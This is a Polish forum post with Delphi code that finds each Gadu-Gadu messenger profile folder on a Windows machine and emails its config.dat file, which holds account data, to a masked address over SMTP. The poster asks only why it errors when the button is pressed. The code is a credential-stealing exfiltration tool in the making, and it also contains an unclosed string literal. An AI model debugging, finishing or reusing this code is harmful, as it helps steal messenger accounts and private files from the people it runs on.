Mam taki kodzik:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdMessageClient, IdSMTP, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
SR : TSearchRec;
Found : Integer; // liczba znalezionych plikow
User : String;
Buff : DWORD;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
Buff := 256; //stała UNLEN
SetLength(User, Buff);
GetUserName(PChar(User), Buff);
Found := FindFirst('C:\Documents and Settings\'+user+'\Gadu-Gadu\*.*', faDirectory, SR); // odnajdz
while (Found = 0) do // dopoki liczba znalezionych plikow nie
// bedzie rowna 0
begin
IdMessage1.Body.Append('...');
IdMessage1.From.Name := 'imie od kogo';
IdMessage1.From.Address := '***';
IdMessage1.Recipients.EMailAddresses := '***';
IdMessage1.Subject := 'temat';
IdSMTP1.UserName := '***';
IdSMTP1.Password := '***';
IdSMTP1.Host := 'www.poczta.fm';
IdSMTP1.AuthenticationType:=atLogin; // autoryzacja SMTP
IdSMTP1.Connect;
try
TIdAttachment.Create(IdMessage1.MessageParts,'C:\Documents and Settings\'+user+'\Gadu-Gadu\'+SR.name+'\config.dat);
IdSMTP1.Send(IdMessage1); //wyślij
finally
IdSMTP1.Disconnect;
idmessage1.MessageParts.Clear;
end;
Found := FindNext(SR); // szukaj dalej
end;
FindClose(SR); // zakoncz wyszukowanie
end;
end.
i wywala mi taki błąd
What's wrong ?? :) Dzieje sie tak po nacisnieciu buttona do wysyłania.